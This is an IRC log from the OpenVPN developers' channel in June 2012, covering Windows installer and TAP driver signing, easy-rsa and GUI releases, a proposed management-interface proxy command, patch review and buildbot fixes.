openvpn related, really, aside from the use of the tap adapter, correct? 13:33 < shuffle2> eya 13:33 < shuffle2> yea* 13:34 < shuffle2> i'm kind of confused as to what people actually do use the openvpn tap adapter for though, considering it doesn't work as i'd expect it to 13:41 < ecrist> it does work to bridge openvpn 15:57 <@cron2> *dhcp* in the openvpn tap driver is special 15:57 <@cron2> as it is used by openvpn to tell the OS what IPv4 address to use, so the tap driver catches DHCP packets and answers them locally 16:21 < shuffle2> that is only if you're using it in TUN mode right? 16:22 < shuffle2> so perhaps i just need to make some hacks between the TUN and the emulated software 16:22 < shuffle2> (i haven't tried using TUN mode yet) 19:07 -!- raidz is now known as raidz_afk --- Day changed Sat Jun 23 2012 03:02 <@cron2> shuffle2: I'm not sure about dhcp in tap mode - but if you don't see any packets, that could be the reason. You might want to read the source to be sure what it's doing under which conditions. 03:48 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [K-Lined] --- Log closed Sat Jun 23 03:48:10 2012 --- Log opened Sun Jun 24 15:04:34 2012 15:04 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 15:04 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 1 voices, 10 normal] 15:04 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 15:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 15:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:56 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:25 <+krzee> http://blog.michael.kuron-germany.de/2010/09/ios-4-1-undocumented-vpn-api-used-by-cisco-anyconnect/ 17:25 <+krzee> has anyone noticed / talked about the VPN api in IOS now? 19:12 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 19:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:05 <+krzee> https://discussions.apple.com/message/16371125#16371125 21:05 <@vpnHelper> Title: OpenVPN Compatibility?: Apple Support Communities (at discussions.apple.com) 21:10 <+krzee> oh nevermind, only cisco and juniper have access to that API --- Day changed Mon Jun 25 2012 00:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 00:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:28 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:32 -!- coffeemoney [~coffeemon@242.18.50.60.kmr03-home.tm.net.my] has joined #openvpn-devel 01:35 -!- coffeemoney [~coffeemon@242.18.50.60.kmr03-home.tm.net.my] has left #openvpn-devel [] 01:44 <@mattock> let's see how the rekeyd certs work... 02:36 -!- dazo_afk is now known as dazo 02:40 -!- dazo is now known as dazo_afk 02:40 -!- dazo_afk is now known as dazo 03:00 <@mattock> successfully generated signed tap-drivers 03:00 <@mattock> and documented all 03:00 <@mattock> some testing and then to installer generation... 03:17 <@mattock> yeah, signed tap-windows installed fine 03:17 <@mattock> linefeed issue with the LICENSE display 03:18 <@mattock> installs to C:\Program Files\Tap-windows by default 03:19 <@mattock> there's some opt-in stuff in there, I need to check what it's about 03:20 <@mattock> the tap-windows installer is here: http://build.openvpn.net/downloads/releases/tap-windows-9.9.0_master.exe 03:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 04:17 <@dazo> mattock: is the tree ready to be tagged? 04:45 <@mattock> I wouldn't tag it quite yet, haven't had time to test the actual windows installer 04:45 <@dazo> goodie ... then I'll hold back 04:45 <@mattock> I'll send at least one minor patch to tap-windows and maybe some to openvpn-build... hopefully not openvpn itself 04:49 <@dazo> mattock: oh ... we should probably do something about an official tap-windows git tree ... I've not managed completed that tree :/ 04:49 <@dazo> (which will probably piss off Alon again ... but it's after all what we agreed upon in a meeting in March) 04:50 <@mattock> we should probably make tap-windows and easy-rsa releases, too... 04:50 <@mattock> the installer fetches them using wget, and having an "official" tarball would be nice 04:50 <@dazo> easy-rsa is published, and completely in the hands of ecrist 04:50 <@mattock> and/or installer 04:50 <@mattock> a tarball? 04:51 <@dazo> well, I consider ecrist the upstream maintainer ;-) ... but if we need to tar it down, I can surely help out there 04:51 <@mattock> so which repos is ecrist using? 04:51 <@mattock> i.e. where does he work on easy-rsa? 04:51 <@mattock> github or sf.net? 04:52 <@dazo> he definitely should have push access to github ... but I can setup push access to sf.net too ... if not, I'll do those pushes 04:52 <@mattock> ok 04:53 <@mattock> I'll talk about easy-rsa with ecrist later today 04:53 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-install-2.3_master-I000_master-i686.exe 04:53 <@dazo> goodie! ... well, I wouldn't say not having easy-rsa ready in this release should be a show-stopper 04:53 <@mattock> http://build.openvpn.net/downloads/releases/openvpn-install-2.3_master-I000_master-x86_64.exe 04:53 <@mattock> yep, definitely not 04:54 <@mattock> those are the new installer, which _should_ be signed properly, and include a signed tap driver 04:54 <@mattock> haven't yet tested those 04:54 <@mattock> takes a while to build everything on a VM 04:54 <@mattock> i.e. all dependencies + openvpn 04:54 <@mattock> -> lunch 04:54 <@dazo> neat! 06:01 <@mattock> the openvpn installer seems unsigned, I'll verify it's contents 06:01 <@mattock> tap-driver is signed, though 06:09 <@mattock> interesting... everything is signed, even the installer, but Windows say the publisher is unknown 06:14 <@mattock> on winxp publisher is shown correctly 06:22 <@mattock> dazo: I'll have to patch the Windows README at least 06:22 <@mattock> updating from 2.3-alpha1 and earlier needs special steps 06:23 <@mattock> e.g. on 64-bit platforms openvpn installs to C:\Program Files\OpenVPN now 06:23 <@mattock> earlier it installed to C:\Program Files (x86)\OpenVPN 06:24 <@mattock> also, the TAP-driver now installs to C:\Program Files\TAP-Windows (earlier inside openvpn directory) 06:24 <@mattock> probably the same with easy-rsa 06:24 <@mattock> I'd suggest people to backup their configs, remove old installation and then reinstall 2.3-alpha2 06:25 <@mattock> if they read the README (e.g. by mistake), we might get a little fewer forum and ml complaints 06:26 <@d12fk> mattock: does the gui build now? 06:26 <@mattock> ouch, --enable-password-save missing again 06:26 <@mattock> it seems to 06:27 <@mattock> at least I got no complaints 06:29 <@mattock> got to verify the other build flags, too 06:41 <@mattock> actually, it was using a patched openvpn-gui from Alon's repo 06:44 <@d12fk> is it at the latest state? 06:45 <@d12fk> i'll get to the http proxy auto detection now 06:45 <@mattock> not sure, haven't checked yet 06:45 <@mattock> I'll figure out the openvpn build first... the openvpn-build/windows-nsis calls the cross-compile stuff, but I'm not sure which dependencies 06:45 <@mattock> it ends up using 06:53 <@mattock> what build flags we want to use by default? most of them are disabled by default 07:10 <@mattock> actually, these ended up being the default build flags: http://pastebin.com/7xwF3juU 07:11 <@mattock> looks fairly reasonable, with only --enable-password-save missing 07:23 <@mattock> d12fk: openvpn-gui HEAD is at 0658ca3f8a0af0 for Alon's version 07:23 <@mattock> slightly out of date 07:24 <@d12fk> yeah checked it the danish loc fix 07:24 < plaisthos> I am amazed how many people don't seem to know about --client-cert-not-required and use shared client cert cert/key (often available for download on the Internet). I wonder if these configurations are vulnerable. 07:44 <@mattock> retrying with a fork of alon's openvpn-gui repo with latest sf.net patches applied on top of it 07:44 <@mattock> let's see if the openvpn-gui build breaks 07:58 <@mattock> hmm, it seems openvpn-gui built ok 07:58 <@mattock> I'll retry generating the entire package 07:59 <@dazo> plaisthos: well, they would probably be more vulnerable in regards to sniffing the openvpn traffic ... you can pay attention to the complete TLS handshake and might be able to derive the temporary encryption key used of the data channel 08:00 <@mattock> let's see how long my poor vm builds... 08:00 <@dazo> (as cert and key are tightly connected, you then have a "shared" key which is used for negotiating the temporary keys) 08:25 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 08:25 <@mattock> 25 minutes, not _that_ bad 08:26 * ecrist waves 08:30 <@dazo> Okay, I'll admit it ... the iPad can be pretty amazing ... http://www.youtube.com/watch?v=6a8Eimr-fm0 ... http://www.youtube.com/watch?v=826jZDyeGZA 08:30 <@vpnHelper> Title: iPad Beer at Hofbraeuhaus - Simon Pierro - YouTube (at www.youtube.com) 08:34 -!- Guest27471 [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 08:36 <@mattock> dazo: here's the suggested change for INSTALL-win32.txt: https://github.com/mattock/openvpn/commit/4039ec7cd4cd0bf595289ed31df8955f374a1705 08:36 <@vpnHelper> Title: Added notes about upgrading from 2.3-alpha1 and earlier to INSTALL-win32... · 4039ec7 · mattock/openvpn · GitHub (at github.com) 08:48 -!- espressogeek [~Adium@2001:620:0:26:e4fd:77fc:ee2f:7e1f] has joined #openvpn-devel 08:51 < espressogeek> Hi everyone. I posted a comment to ticket 79 yesterday (see http://community.openvpn.net/openvpn/ticket/79). Back in 2006-11, Ulrik Mikaelsson wrote a patch to support IGMP snooping in a bridged setup. Does anyone know where I can find this patch? 08:51 <@vpnHelper> Title: #79 (Optimizations for multicast over TAP w/ OpenVPN) – OpenVPN Community (at community.openvpn.net) 08:52 < espressogeek> And does anyone plan to implement IGMP snooping? I would like to avoid to block multicast traffic. But right now, one user can flood everyone else by just watching an HDTV stream... 08:54 <@dazo> espressogeek: that's not on anyone's todo list afaik ... but if you're keen on looking into it, it sure might be interesting ... but I would probably recommend you to hang around here a bit, and air the idea a bit - maybe discuss it again on a dev-meeting; before hacking too much 08:56 <@mattock> that is, if you want to get the changes to official repos... if not, then feel free to hack as much as you like :) 08:56 <@dazo> of course :) 08:56 * dazo worded it a bit clumsy :) 08:56 < espressogeek> sure. I'd rather want it to be done properly. and I doubt that I could do that right now :). I just thought that someone might have that old patch at hand. That would maybe be enough for hacking a first workaround. 08:56 <@mattock> ok, both rebuilt Windows installers passed all smoketests 08:56 <@mattock> everything neat and signed 08:57 <@dazo> espressogeek: I can't recall any patches (at least the last 2-3 years) covering IGMP stuff 08:57 <@dazo> mattock: neat, so I can tag now? 08:57 < espressogeek> http://openvpn.net/archive/openvpn-devel/2006-11/msg00018.html 08:57 <@dazo> duh, with your INSTAL patch of course 08:57 <@vpnHelper> Title: [Openvpn-devel] Patch that provides unidirectional IGMP snooping in the multi-client server (at openvpn.net) 08:57 <@mattock> dazo: well, I think tagging is safe, but if there's no benefit in tagging now, I'd wait, just in case somebody finds some issues 08:58 <@dazo> mattock: what do you mean? you're doing a prerelease again? 08:58 * dazo don't think that's really needed for alpha's 08:58 <@mattock> well, I won't be able to make the release today, on Wed at earliest 08:59 <@dazo> mattock: well, then I'll pull your update tag and prepare tarballs ... and we can do the proper 2.2-a2 release on Wednesday, whenever it fits you 08:59 <@mattock> I doubt openvpn itself will need any patches, but the other stuff (openvpn-gui, easy-rsa, tap-windows, etc.) is all over the place 08:59 <@dazo> I'm quite busy this week 09:00 <@dazo> espressogeek: well, I've not seen the patch itself ... it's not in any archives I've checked ... I only see talks about it 09:00 <@mattock> ok, with the INSTALL-win32.txt patch I think we're fine, as far as OpenVPN is concerned 09:00 <@mattock> i.e. feel free to tag :) 09:01 < espressogeek> dazo: I know that it's not in the archive. At least that I did check myself ;). 09:01 <@dazo> mattock: will you mail the patch to the ML? 09:01 <@dazo> Looks fine to me ... but then again, I'm not a windows user 09:09 <@d12fk> dazo: any comment on my plan to add a mgmt itf option for querying proxy info from the mgmt client.I fell it's needed for the external auto-proxy support 09:09 <@dazo> d12fk: uhm ... not sure I've seen that mail ... 09:09 * dazo double checks his mailbox 09:10 <@d12fk> dazo: keep calm thee'sno mail 09:10 <@dazo> ahh ... 09:10 <@d12fk> just any general commant or heads up 09:11 <@dazo> d12fk: I don't recall anything about that at all now ... so I could need a refresher then 09:13 <@d12fk> i'll send a patch then 09:14 <@mattock> ok, announced installers on mls 09:15 <@mattock> so much has changed in build/packaging that I don't trust them yet 09:16 <@mattock> openvpn itself is probably just as stable as ever 09:18 <@dazo> mattock: there's one issue with the server as well, which I've never had time to debug ... where reconnecting might fail with PUSH_REQ looping forever ... but as I said, I've lacked the time to debug and bisect it 09:57 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:57 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:09 <@mattock> dazo: well, that can be fixed in beta1 also 10:10 <@dazo> definitely 10:27 <+krzee> so after reading around on the iphone stuff, there seems to be a secret vpn API, but we would need to be given access by apple 10:28 <@dazo> Apple's openness is so gracious! 10:28 <+krzee> which means it could be time for an email from corp… i have a friend who just left apple corp, he was a unix admin for them running their puppets, he may have a contact to drop it on 10:30 <+krzee> dazo ;) 10:43 <@d12fk> here's the rationale for the proxy by mgmt itf feature i was talking about: 10:44 <@d12fk> COMMAND -- proxy (OpenVPN 2.3 or higher) 10:44 <@d12fk> -------------------------------------------- 10:44 <@d12fk> Provide proxy server host/port in response to a >PROXY notification 10:44 <@d12fk> (client only). Requires that the --management-query-proxy 10:44 <@d12fk> directive is used. 10:44 <@d12fk> proxy HOST PORT 10:44 <@d12fk> The "proxy" command should only be given in response to a >PROXY 10:44 <@d12fk> notification. For example, the following >PROXY notification 10:44 <@d12fk> indicates that the client config file would ordinarily connect 10:44 <@d12fk> to vpn.example.com port 443 (TCP): 10:44 <@d12fk> >PROXY:vpn.example.com,443,TCP 10:44 <@d12fk> Now, suppose we want to connect to the remote host using the proxy server 10:44 <@d12fk> proxy.intranet port 8080. After receiving the above notification, use 10:44 <@d12fk> this command: 10:44 <@d12fk> proxy HTTP proxy.intranet 8080 10:44 <@d12fk> You can also use the SOCKS keyword to pass a SOCKS server address, like: 10:44 <@d12fk> proxy SOCKS proxy.intranet 1080 10:44 <@d12fk> To accept connecting to the host and port directly, use this command: 10:44 <@d12fk> proxy NONE 10:44 <@d12fk> -- 10:44 -!- espressogeek [~Adium@2001:620:0:26:e4fd:77fc:ee2f:7e1f] has quit [Ping timeout: 245 seconds] 10:45 <@d12fk> in accordance to the --management-query-remote and --management-query-passwords features already there 10:45 <@d12fk> any non-believers? =) 10:50 * dazo see the updates here 10:50 <@dazo> d12fk: that makes sense to me 10:51 <@dazo> that kind of covers what a guy was asking about on #openvpn earlier today, actually :) 10:51 <@dazo> but ... 10:51 <@d12fk> it makes sense for the --auto-proxy delegation to the GUIs 10:51 <@dazo> when is it appropriate to use this management interface? 10:51 <@d12fk> proxy is actually a connection-to connection basis thing 10:52 <@dazo> yeah .. that's what I'm wondering about ... because the management interface, can that be available if openvpn have not been through the connection phase at all? 10:52 <@d12fk> well, you say --management-query-proxy on the cmdline and they ovpn asks the mgmt itf client what it should use, not more policy than that 10:53 <@d12fk> havn't looked at a single line of code yet, but at the time --management-query-remote is queried should be fine here too 10:53 <@dazo> oh, I see ... but why can't the GUI just pass over the --socks-proxy or --http-proxy when firing up the connection? 10:53 * dazo just plays the devils advocate to cover more aspects 10:54 <@d12fk> ppl, close their laptop and wake it up at a different network with different WPAD settings 10:54 <@dazo> fair point! okay, then I see the purpose better 10:55 <@d12fk> that's the only reason I see now and it has been requested during the proxy discussion on the list that way 10:55 <@d12fk> i'm not a heavy proxy user myself but trust the ones who (have to) use one/many 10:55 <@dazo> I'm just wondering ... because I recall james added some extensions to the management interface ... a one of the later ones he added 10:56 <@d12fk> what kind of extension was that? 10:56 <@dazo> and he did add something to manipulate stuff inside connection blocks ... --remote was one of them 10:56 <@dazo> but I don't recall if proxy was covered as well 10:56 <@d12fk> it's not in the docs so far then 10:56 <@dazo> nope, as much of his stuff, unfortunately 10:57 <@d12fk> was referring to doc/mgmt-notes.txt 10:57 * dazo tries to dig up the commit 10:57 <@d12fk> i'll grep the code for s.th. re- or abusable 10:58 <@d12fk> there's "http-proxy-fallback"?! 10:58 <@dazo> yeah, that's one of them 10:58 <@dazo> I was thinking of 54561af63699e7408fba11c75bbf9e22ed6216dc ... and probably mixed it with http-proxy-fallback 10:59 <@dazo> and right ... http-proxy-fallback isn't documented 11:01 <@dazo> commit 3cf6c9328250061600b78c8a7deb0edc850e739b 11:01 <@dazo> Author: James Yonan <james@openvpn.net> 11:01 <@dazo> Date: Mon May 24 22:51:16 2010 +0000 11:01 <@dazo> Implemented http-proxy-override and http-proxy-fallback directives to make it 11:01 <@dazo> easier for OpenVPN client UIs to start a pre-existing client config file with 11:01 <@dazo> proxy options, or to adaptively fall back to a proxy connection if a direct 11:01 <@dazo> connection fails. 11:03 <@dazo> d12fk: does that cover your needs? 11:04 <@d12fk> not my socks ones… 11:05 <@d12fk> and is http-proxy-override only available if there is a --http-proxy option? 11:05 <@d12fk> maybe my attempt could supersede those two 11:05 <@dazo> right! ... but if this is expanded or modified to tackle socks too, I'm sure that it will be less quarrels ... as it's fixing an existing feature 11:06 <@d12fk> a query would always override static proxy info in the config 11:06 <@dazo> I'm a bit scared of getting rid of http-proxy-{fallback,overide,fallback-disable} stuff ... as that would probably break openvpn AS stuff 11:07 <@dazo> but improving the functions and making http-proxy-fallback a different "front-end" to your code base, would probably be cleaner then 11:07 <@d12fk> i'll check it out 11:07 <@dazo> thx! ... duplicating similar features with different names is definitely not the way to go :) 11:08 <@dazo> mattock: did you ever send your INSTALL-win32 patch to the mailing list? 11:09 <@dazo> (if we don't have it there, it's not going to be easy to track where the patch came from) 11:09 -!- raidz_afk is now known as raidz 11:41 * dazo heads out 11:41 -!- dazo is now known as dazo_afk 12:02 < ecrist> mattock: you rang? 12:04 <@mattock> ecrist: yep 12:04 <@mattock> we'd need an easy-rsa release, preferably with the 4(?) patches from Alon that were in easy-rsa-old 12:04 <@mattock> the openvpn-build buildsystem fetches easy-rsa from a webserver, unpacks it and includes it 12:05 <@mattock> and a GitHub release file is as good as any :) 12:06 < ecrist> ah, so I need to figure out a release then. 12:06 <@mattock> not difficult, I did a few today from openvpn-build 12:06 < ecrist> I'll will look into it tonight. I know I'm going to need help with the git stuff, if someone can help me with that later this week. 12:06 <@mattock> basically you just upload a tarball 12:07 < ecrist> oh, that doesn't sound hard. 12:07 <@mattock> I'll try to be here 12:07 <@mattock> in case you need Git help... and dazo is obviously the git wizard 12:08 -!- espressogeek [~espressog@77.109.185.179] has joined #openvpn-devel 12:13 -!- espressogeek [~espressog@77.109.185.179] has quit [Ping timeout: 244 seconds] 13:29 -!- Guest27471 is now known as EvilJStoker 14:12 <@cron2> oh my... folks, you have been busy... I'm just away for two days, and the backlog is 5 million lines long 14:16 <@cron2> and btw, child#2 has been born today, mother+daughter are well, and I will have no time what-so-ever for anything but changing diapers and cleaning up spilled liquids for the next couple of months...! 14:17 <@andj> congratulations! 14:17 <@cron2> andj: thanks! 14:17 * cron2 is quite happy that 2.3_alpha2 made it in time :) 14:17 <@andj> (in case you were wondering where I've been hiding, I'm working on the interior of a new house :)) 14:18 * cron2 hates moving and renovating 14:29 < ecrist> cron2: congratulations! 14:30 <@cron2> ecrist: thanks! 15:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 18:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:42 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 240 seconds] --- Log closed Mon Jun 25 18:42:08 2012 --- Log opened Mon Jun 25 23:53:00 2012 23:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 23:53 -!- Irssi: #openvpn-devel: Total of 19 nicks [8 ops, 0 halfops, 1 voices, 10 normal] 23:53 -!- Irssi: Join to #openvpn-devel was synced in 2 secs --- Day changed Tue Jun 26 2012 02:36 -!- Netsplit *.net <-> *.split quits: @mattock_ 03:17 <@mattock> cron2: have fun with the new kid! did you manage to get paternal leave, btw? 03:24 -!- dazo_afk is now known as dazo 03:34 <@dazo> cron2: congrats!!! 03:49 <@mattock> dazo: did you tag tree yet? 03:50 <@dazo> mattock: nope ... waiting for your patch to the INSTALL-win32 file to hit the mailing list 03:50 <@mattock> Alon mentioned that the plugins2 branch will force packagers to repackage openvpn... and that they need to repackage after 2.3-alpha2 anyways 03:51 <@mattock> his idea being, that by including plugins2 in 2.3-alpha2 they'd only need to repackage once 03:53 <@dazo> ahh, I see he even rebased plugins2 to the latest master ... I'll see if we can pull that in then 03:55 <@mattock> that'd be good 03:57 <@mattock> whoa... didn't have git-send-email installed... apparently haven't sent too many patches lately :) 04:05 <@mattock> dazo: this was tested and I think it was ACKed, but is not in Git? https://github.com/alonbl/openvpn/commit/6c0a1a5c9734421f06907dd64bf7924be65394c1 04:05 <@vpnHelper> Title: cleanup: windows: convert argv (UCS-2 to UTF-8) at earliest · 6c0a1a5 · alonbl/openvpn · GitHub (at github.com) 04:06 <@dazo> mattock: that's what I asked about on the meeting last week ;-) 04:06 * dazo is not comfortable with "think"ing it was ACKed 04:08 <@dazo> hmmm ... it fell out of my copy-paste of URLs obviously ... I remember putting it into the agenda at some point 04:08 <@mattock> well, I remember it was tested and worked as expected 04:08 <@mattock> there should be an ACK in a summary 04:08 <@dazo> mattock: if you can find the ACK reference ... I'll add it ... I think it was James who ACKed it 04:09 <@mattock> yeah, I think so too 04:09 <@mattock> Alon was also suggesting to include these (fairly trivial) patches (1. and 2.): https://github.com/alonbl/openvpn/commits/build 04:09 <@vpnHelper> Title: Commit History · alonbl/openvpn · GitHub (at github.com) 04:16 <@mattock> dazo: look here: http://article.gmane.org/gmane.network.openvpn.devel/6350/match=cleanup+windows+convert+argv+ucs+2+utf+8+earliest 04:16 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 04:16 <@mattock> it was ACKed on the condition that Win7 tests go fine, and they did 04:16 <@mattock> I'll verify it was James who ACKed it 04:17 <@dazo> yeah, that's good 04:18 <@dazo> mattock: those two are lacking ACKs ... and I think cron2 didn't like the t_client.sh fix ... as it reduces the error message 04:21 <@mattock> hmm, I think the ACK was implied 04:22 <@mattock> there was no "I ACK this" from James or anyone 04:22 <@mattock> I wonder if that happened off the record or something 04:24 <@mattock> if that's not enough, I'll start poking james with a stick :P 04:24 <@mattock> -> lunch 04:25 <@mattock> not quite yet... :) 04:33 <@mattock> dazo: ignore the first patch I sent 04:41 <@dazo> mattock: well, you're the one who complained about difficulties to track down ACKs ;-) 04:46 <@mattock> yeah, I did :) 04:47 <@mattock> it _was_ surprisingly difficult 04:47 <@dazo> that's why I want all mails to be on the ML ... so I have a message-ID to track :) 04:47 <@dazo> all *patches* on the ML 04:47 <@dazo> duh 04:48 <@mattock> yeah 04:48 <@mattock> I need to make the first official tap-windows release today 04:49 <@mattock> not a big deal, but is this version.m4 ok: https://github.com/OpenVPN/tap-windows/blob/master/version.m4 04:49 <@vpnHelper> Title: tap-windows/version.m4 at master · OpenVPN/tap-windows · GitHub (at github.com) 04:49 <@mattock> except that PRODUCT_VERSION should probably be 9.9.0? 04:50 <@dazo> or 9.8.1? 04:50 <@mattock> you mean 9.9.1? 04:50 <@vpnHelper> RSS Update - testtrac: build: integrate plugins build into core build <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ce8271f5d435be963c79945f8d7eb6ea2e4369fa> 04:51 <@mattock> ok, now to lunch for real 04:51 <@dazo> oh, sorry ... I misread ... it's 9.9.0_master ... well, what was the last release we did there? 04:51 <@dazo> and have the code changed since last time? 06:04 <@mattock> mmm, no idea, I'll check 06:12 <@mattock> I'm not sure how Windows handles driver upgrades, but it might only install the included tap-windows driver if it's got a bigger version number than the current one 06:12 <@mattock> in which case we probably want to bump the version number 06:12 <@mattock> I'll ask on the ml 06:17 <@d12fk> mattock: did anyone notice that the manual formatting is broken in the web for the "client connection profile" section? 06:18 <@mattock> d12fk: I think I have it on my TODO, it always breaks when I update the man-page with man2html 06:18 <@d12fk> ok 06:18 <@mattock> I'll fix that when I release 2.3-alpha2 06:18 < plaisthos> I still thiking on my socket stuff 06:18 <@mattock> I got a bunch of similar webpages fixes in my queue 06:18 < plaisthos> are there options that someobody for multiple listen sockets to be different? 06:19 < plaisthos> like the options that can be different for multiple connection entries 06:21 <@dazo> plaisthos: server side or client side? 06:21 < plaisthos> server side 06:21 * dazo ponders on that for a little bit 06:26 <@dazo> hmm ... --fragment, --mssfix, --link-mtu, --sndbuf, --rcvbuf, --txqueuelen, --socket-flags/--tcp-nodelay ... that's those options which should be somewhat related to the sockets 06:26 <@dazo> And I can see that listening to multiple sockets could benefit for some of them to be different ... 06:27 <@dazo> the fragment, mssfix and link-mtu might be interesting to tweak if you're listening to two different physical nets - with different characteristics 06:27 < plaisthos> hm okay 06:27 < plaisthos> yes. I will think about it 06:28 <@dazo> socket-flag/tcp-nodelay is useful if you listen to both UDP and TCP ... but only valid on the latter one 06:28 < plaisthos> some of these options might make multiple socket code more complicated since they are handled far away from the socket code 06:28 <@dazo> agreed, I see that as a big risk here 06:29 <@dazo> on the other hand ... with the <connection> blocks now, it's a little mess (even though Jan Just Keijser fixed some of it) - where some parts can't be put into connection blocks, but will fail if you use the options outside the connection block too ... because of tcp/udp incompatibilities 06:30 <@dazo> so I'd like to avoid repeating such an implementation mistake 06:30 < plaisthos> oh 06:30 < plaisthos> do you have an example of such an option? 06:30 <@dazo> explicit-exit-notify can only be used in UDP mode, for example 06:31 < plaisthos> yes 06:31 < plaisthos> but openvpn does not warn you if you put it into a tcp config file iirc 06:32 <@dazo> it does, and then exits 06:32 < plaisthos> dazo: hm 06:32 <@dazo> Those most urgent and easiest to fix for <connection> blocks were tackled in commit 76809cae0eae07817160b423d3f9551df1a1d68e 06:32 < plaisthos> yes you are right 06:44 <@mattock> d12fk: could we push out a "real" release of openvpn-gui with a version number and everything? 06:44 <@mattock> I can have it signed 06:44 <@mattock> =produce a signed build 06:51 <@dazo> mattock: so the unicode patch, still waiting for clarification on the ACK ... and then the last one "build: msvc: chdir with change drive to script location" ... can you ACK that one? 06:52 <@dazo> (your INST-win32 doc is applied) 06:52 <@d12fk> mattock: hm i'm always in the middle of something wth the gui 06:53 <@d12fk> i think a floating version number and releases every now and then will be beneficial 06:55 <@cron2> hi folks 06:55 <@mattock> dazo: if I ask James, it could take days... perhaps somebody in here might want to ACK it? I'll gladly have "Tested-by: Samuli Seppänen <samuli@openvpn.net>" there 06:55 <@cron2> any idea why the buildbots are failing today??? 06:55 <@cron2> openbsd is failing with... 06:55 <@cron2> configure: error: libpam required but missing 06:55 <@mattock> cron2: no idea 06:55 <@cron2> ... which it never did before... 06:55 <@dazo> cron2: because I added a patch from alon ... which builds the auth-pam plugin 06:56 <@cron2> dazo: ah. 06:56 <@dazo> $]½[£{£¥@lon .... I thought he had covered that 06:56 <@dazo> if libpam isn't found, it shouldn't try to build the auth-pam plug-in 06:56 <@cron2> well, I think it was me who asked for "if the library is not there, just do not build the plugin", but Alon seems to follow the "if the library is not there, tell the user and stop!" religion 06:56 <@mattock> d12fk: I noticed that in configure.ac is still saying 1.0.3... maybe bump that to 2.0.0 or 1.1.0? 06:57 <@mattock> that shows up in executable properties in Windows 06:57 <@mattock> and it's definitely 1.0.3 anymore :) 06:57 <@d12fk> no i'll switch to incremeting versioning 06:57 <@dazo> cron2: exactly, and I think Alon is adding obstacles in this case 06:57 <@cron2> mattock: since we're not testing the plugins... can you call configure with the "appropriate" flag on openbsd? 06:57 <@d12fk> so 2 » 3 » 4 etc 06:57 <@mattock> which flag is that? 06:57 < plaisthos> openbsd has no pam? 06:57 <@dazo> --disable-plugin-auth-pam 06:57 <@mattock> sure 06:58 <@mattock> only for openbsd? 06:58 <@cron2> plaisthos: I'm not sure, I didn't look - but I'd assume "no", because "it was written by someone else". They might invent OpenPAM one day which looks different, smells different, and does different things, though :-) 06:58 < plaisthos> cron2: :) 06:58 <@dazo> hehehe 06:59 <@cron2> mattock: let me see if something else broke 06:59 < plaisthos> well 06:59 < plaisthos> they are too late 06:59 <@mattock> knowing openbsd, Open[BSD]Pam would be ultra secure... for example, would not allow anyone to login, just in case 06:59 < plaisthos> The OpenPAM library and this manual page were developed for the FreeBSD [...] 07:00 <@cron2> mattock: only openbsd 07:00 <@cron2> plaisthos: haahaaaa :-) 07:00 <@d12fk> even this project hijacked the open prefix, the guys are running out of namespace with their shit =) 07:00 < plaisthos> OpenPAM is currently used by FreeBSD, PC-BSD, Dragonfly BSD, NetBSD, Mac OS X and a few Linux distributions. 07:00 <@dazo> this just urges the question .... does it look and/or smell different? and does it do other things? 07:00 < plaisthos> from the BSDs only OpenBSD is missing OpenPAM 07:01 * dazo runs for a meeting 07:02 <@mattock> opensuse also failing, but that's a KVM/OpenSuSE issue 07:02 <@cron2> dazo: regarding "what should openvpn do with libpam missing?" - this is religious, and I do not feel strong enough to start a fight here. Maybe I'll suggest disabling build-pam automatically on OpenBSD (since we know it does not have libpam) 07:05 < plaisthos> makes sense. For windows unix features are disabled too 07:05 <@dazo> cron2: agreed 07:11 <@mattock> restarting buildmaster with new configuration 07:26 <@mattock> seems to have done the trick, I'll tune master.cfg a bit and I'm done 07:26 <@cron2> great, thanks 07:46 <@mattock> the new configure flags are in the builder names 07:47 <@mattock> as well as the configure parameters 07:54 <@mattock> d12fk: I'd need to have an openvpn-gui tarball on a webserver somewhere, so that the openvpn-build buildsystem can fetch it, build it, sign it and package it 07:55 <@mattock> shall I take the latest Git sources and put it somewhere myself, or can you make a tarball out of it and put it on SF.net? 07:57 <@d12fk> if you want it now it's best you produce the tar yourself, as i'll take a day or two until the new versioning is done 08:00 <@mattock> hmm, I need to make up a version number for it 08:01 <@mattock> openvpn-gui-1.0.3.tar.gz would be a bit confusing, given it's the same as the "original" GUI had 08:01 <@mattock> not that it shows anywhere, except on the webserver 